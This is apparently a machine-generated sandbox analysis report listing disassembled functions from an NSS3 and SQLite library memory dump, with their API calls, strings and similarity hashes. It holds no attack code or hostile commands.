Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: b367985c67082921fce98e68eb32687f2ec653a5f185f33f7a17c410f40b95fe
Instruction ID: fad2dd6627f64fdeef5fbdfc99c89a354aa96ae830ea972b1944850e32413289
Opcode Fuzzy Hash: b367985c67082921fce98e68eb32687f2ec653a5f185f33f7a17c410f40b95fe
Instruction Fuzzy Hash: 9F22167270C3528BE754CE28C8907ABF7F6AB85318F194A2EE5D587791E7319805CB83

Function 6CF71C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF71D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF71EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CF71FB7

Strings

abort due to ROLLBACK, xrefs: 6CF72223
table, xrefs: 6CF71C8B
unknown error, xrefs: 6CF72291
another row available, xrefs: 6CF72287
unsupported file format, xrefs: 6CF72188
attached databases must use the same text encoding as main database, xrefs: 6CF720CA
sqlite_temp_master, xrefs: 6CF71C5C
sqlite_master, xrefs: 6CF71C61
no more rows available, xrefs: 6CF72264
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CF71F83

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: cc04a6de152508f0348ae52b05342fad0e56ad327e5f395594f4aa7f54ddbe8a
Instruction ID: 7e0988a9f14ad6737fd53a405e91f84ebe509e4db5efaff06feeebf8077f8ab8
Opcode Fuzzy Hash: cc04a6de152508f0348ae52b05342fad0e56ad327e5f395594f4aa7f54ddbe8a
Instruction Fuzzy Hash: 4412E170608340CFD720CF19D49475AB7F2BF85318F19856EE9898B751D772E849CBA2

Function 6CF95F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

2, xrefs: 6CF965B4
-, xrefs: 6CF962F9
sub-select returns %d columns - expected %d, xrefs: 6CF9805F
ON clause references tables to its right, xrefs: 6CF96BEC
u, xrefs: 6CF981DA
BINARY, xrefs: 6CF98708, 6CF98737, 6CF987B8
NOCASE, xrefs: 6CF98703
-, xrefs: 6CF96228

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: ac9fb0bf450c621c60bed2df29ebea140f0f51de837dd516970a6df99ad9a9fb
Instruction ID: 1a64ecb1503ea69f765d51ec4d350ab7d03186ebd91fd7088520fc80e3d1b04c
Opcode Fuzzy Hash: ac9fb0bf450c621c60bed2df29ebea140f0f51de837dd516970a6df99ad9a9fb
Instruction Fuzzy Hash: 844392756083418FEB44CF19C490B5BB7F2BF89318F15866DE8998B752D731E846CB82

Function 6D03EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6D03C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6D03DAE2,?), ref: 6D03C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D03F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D03F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6D03F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D03F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6D10218C), ref: 6D03F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6D03F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6D03F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6D03F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6D03F210

Part of subcall function 6CFE52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6D03F1E9,?,00000000,?,?), ref: 6CFE52F5
Part of subcall function 6CFE52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CFE530F
Part of subcall function 6CFE52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CFE5326
Part of subcall function 6CFE52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6D03F1E9,?,00000000,?,?), ref: 6CFE5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6D03F227

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6D03F23E

Part of subcall function 6D02BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CFDE708,00000000,00000000,00000004,00000000), ref: 6D02BE6A
Part of subcall function 6D02BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFE04DC,?), ref: 6D02BE7E
Part of subcall function 6D02BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D02BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D03F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6D03F3A8

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6D03F3B3

Part of subcall function 6CFE2D20: PK11_DestroyObject.NSS3(?,?), ref: 6CFE2D3C
Part of subcall function 6CFE2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CFE2D5F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 7c412b4a4f9fb0c9928afeb6d0d6c2366bfeede636aae070623a38ca68d4286e
Instruction ID: e027e6bb9e564166e6110ca2286cfc859a828bbfc13bcfe7eb459ef9f1f90d0d
Opcode Fuzzy Hash: 7c412b4a4f9fb0c9928afeb6d0d6c2366bfeede636aae070623a38ca68d4286e
Instruction Fuzzy Hash: 8CD131B6E046169FEB14CF99D880BAEBBF9FF48304F168069D915A7311E731E815CB50

Function 6D06DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6D047FFA,00000000,?,6D0723B9,00000002,00000000,?,6D047FFA,00000002), ref: 6D06DE33

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

Part of subcall function 6D06D000: PORT_ZAlloc_Util.NSS3(00000108,?,6D06DE74,6D047FFA,00000002,?,?,?,?,?,00000000,6D047FFA,00000000,?,6D0723B9,00000002), ref: 6D06D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6D047FFA,00000000,?,6D0723B9,00000002,00000000,?,6D047FFA,00000002), ref: 6D06DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6D06DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D06E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D06E121
PK11_FreeSymKey.NSS3(?), ref: 6D06E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6D06E195
PR_GetCurrentThread.NSS3 ref: 6D06E1FC

Part of subcall function 6D062460: PR_SetError.NSS3(FFFFE005,00000000,6D107379,00000002,?), ref: 6D062493

Strings

early application data, xrefs: 6D06DFC9
handshake data, xrefs: 6D06DFF7
key, xrefs: 6D06E046
application data, xrefs: 6D06DFE0

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 4e8c0db0e83cafcaafcdc11519de077eae931729d596ddb487d1408a6b88066d
Instruction ID: 55a67bf8146de77538b611f1909a308f707a365e2e993aaeab9d716f9900a683
Opcode Fuzzy Hash: 4e8c0db0e83cafcaafcdc11519de077eae931729d596ddb487d1408a6b88066d
Instruction Fuzzy Hash: 0FC1D171A00356ABFB14CF65DC80BAAB7F5FF49304F148129E9099B291E771E990CBB1

Function 6CF5ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CF5EF98

Strings

database corruption, xrefs: 6CF5F48D
%s at line %d of [%.10s], xrefs: 6CF5F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5F483

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: f62237f02fad955741666950bc5b5b1ae879fed2bceb32853ab0134545e5ed67
Instruction ID: 453ee2f1912f3b641c216a2d3b31800946f021bd8320ac11e6d749460d5e6359
Opcode Fuzzy Hash: f62237f02fad955741666950bc5b5b1ae879fed2bceb32853ab0134545e5ed67
Instruction Fuzzy Hash: 47623471A04245CFEB04CF68C480B9ABBF1BF59318FA9419DCA455BB92D735E892CBD0

Function 6CFFFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CFFFD06

Part of subcall function 6CFFF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CFFF696
Part of subcall function 6CFFF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CFFF789
Part of subcall function 6CFFF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CFFF796
Part of subcall function 6CFFF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CFFF79F
Part of subcall function 6CFFF670: SECITEM_DupItem_Util.NSS3 ref: 6CFFF7F0

Part of subcall function 6D023440: PK11_GetAllTokens.NSS3 ref: 6D023481
Part of subcall function 6D023440: PR_SetError.NSS3(00000000,00000000), ref: 6D0234A3
Part of subcall function 6D023440: TlsGetValue.KERNEL32 ref: 6D02352E
Part of subcall function 6D023440: EnterCriticalSection.KERNEL32(?), ref: 6D023542
Part of subcall function 6D023440: PR_Unlock.NSS3(?), ref: 6D02355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CFFFDAD

Part of subcall function 6D02FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CFD9003,?), ref: 6D02FD91
Part of subcall function 6D02FD80: PORT_Alloc_Util.NSS3(A4686D03,?), ref: 6D02FDA2
Part of subcall function 6D02FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686D03,?,?), ref: 6D02FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CFFFE00

Part of subcall function 6D02FD80: free.MOZGLUE(00000000,?,?), ref: 6D02FDD1

Part of subcall function 6D01E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6D01E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CFFFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CFFFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFFFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFFFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CFFFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFFFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6D000007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6D000029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6D000044

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 7a527d83ebefa9a462a313aa9d26f6f13698ca2709857dc595391ceaf607572c
Instruction ID: 979d6f37bb268703395ded634233d5e1e46b2aacf5dc5f84f5c7a8abc674b6fb
Opcode Fuzzy Hash: 7a527d83ebefa9a462a313aa9d26f6f13698ca2709857dc595391ceaf607572c
Instruction Fuzzy Hash: ECB1C371608201AFE314CF29C880B6BF7E5FF88318F558A1DE999DB691E770E941CB91

Function 6CFF7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CFF7DDC

Part of subcall function 6D0307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFD8298,?,?,?,6CFCFCE5,?), ref: 6D0307BF
Part of subcall function 6D0307B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0307E6
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D03081B
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D030825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CFF7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CFF7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CFF7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CFF7F98
PK11_FreeSymKey.NSS3(?), ref: 6CFF7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFF7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CFF8000

Part of subcall function 6D019430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CFF7F0C,?,00000000,00000000,00000000,?), ref: 6D01943B
Part of subcall function 6D019430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6D01946B
Part of subcall function 6D019430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6D019546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFF8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CFF811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CFF822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFF823C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: bd6d41491a7c409cacfeaedc5de03ec5702d70f4fa96804fe13bc641c80351a5
Instruction ID: 123c3c36c5e181d6db84c8de305e05b87490c4c7e6b05d15b0bcc2aa663c1a5d
Opcode Fuzzy Hash: bd6d41491a7c409cacfeaedc5de03ec5702d70f4fa96804fe13bc641c80351a5
Instruction Fuzzy Hash: 0DC180B1D042199BEB21CF15CC40FEAB7B8EB05308F0181EAE919A7651E7719E86CF90

Function 6D000EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6D000F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6D000FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6D001006
PK11_FreeSymKey.NSS3(?), ref: 6D00101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D001033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D00103F
PK11_FreeSymKey.NSS3(00000000), ref: 6D001048
memcpy.VCRUNTIME140(?,?,?), ref: 6D00108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6D0010BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6D0010D6
memcpy.VCRUNTIME140(?,?,?), ref: 6D00112E

Part of subcall function 6D001570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6D0008C4,?,?), ref: 6D0015B8
Part of subcall function 6D001570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6D0008C4,?,?), ref: 6D0015C1
Part of subcall function 6D001570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D00162E
Part of subcall function 6D001570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D001637

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 598154fb5274f43ed013fe982b89fab6623df9d8bf478f2ace384e1eb7c5d00f
Instruction ID: eb0318b476f500ec0e51b3baf0ef1e37c82a6b0a00039990512ef755b97689b4
Opcode Fuzzy Hash: 598154fb5274f43ed013fe982b89fab6623df9d8bf478f2ace384e1eb7c5d00f
Instruction Fuzzy Hash: 0D71BEB1A04206AFFB04CFA5D884B7EB7F5BF48318F148528EA0997351E771D944CB92

Function 6D021CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6D021F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6D022166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6D02228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6D0223B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D02241C

Strings

token, xrefs: 6D021F2C
serial, xrefs: 6D0222A2
manufacturer, xrefs: 6D022179
model, xrefs: 6D0223CB, 6D0223EC

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 67da4767601458542d013c9d8ac509da461e7183b432537904d848d2285fd08d
Instruction ID: 0ae8623ebee85a0abea7a02fde3a631c007b28c29767cd639911df4edd4224ee
Opcode Fuzzy Hash: 67da4767601458542d013c9d8ac509da461e7183b432537904d848d2285fd08d
Instruction Fuzzy Hash: C2025372D1D7C96EFB7182B0C48D7E76AE49B45324F48146EC6EE4B2C3C3A959888352

Function 6D026C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CFD1C6F,00000000,00000004,?,?), ref: 6D026C3F

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CFD1C6F,00000000,00000004,?,?), ref: 6D026C60
PR_ExplodeTime.NSS3(00000000,6CFD1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CFD1C6F,00000000,00000004,?,?), ref: 6D026C94

Strings

gfff, xrefs: 6D026D9C
gfff, xrefs: 6D026CFD
gfff, xrefs: 6D026D30
gfff, xrefs: 6D026D66
gfff, xrefs: 6D026CF5

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: c2f2334bf516b8ebe5e77d89d36e3cfbd0b688bb266c484e2475353b99f84225
Instruction ID: dc3055c6531cc2e45f70a77ded1ec75b71e09b6b6d2b469d6627b79fcfc00423
Opcode Fuzzy Hash: c2f2334bf516b8ebe5e77d89d36e3cfbd0b688bb266c484e2475353b99f84225
Instruction Fuzzy Hash: CE514B72B015494FD708CDADDC527EEB7DAABA4310F48C23AE442DB781D678D902C751

Function 6D0A0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6D0A1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6D0A10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0A1353

Strings

%lld, xrefs: 6D0A114B
%02x, xrefs: 6D0A12F6
NULL, xrefs: 6D0A119E
-- , xrefs: 6D0A0FF5
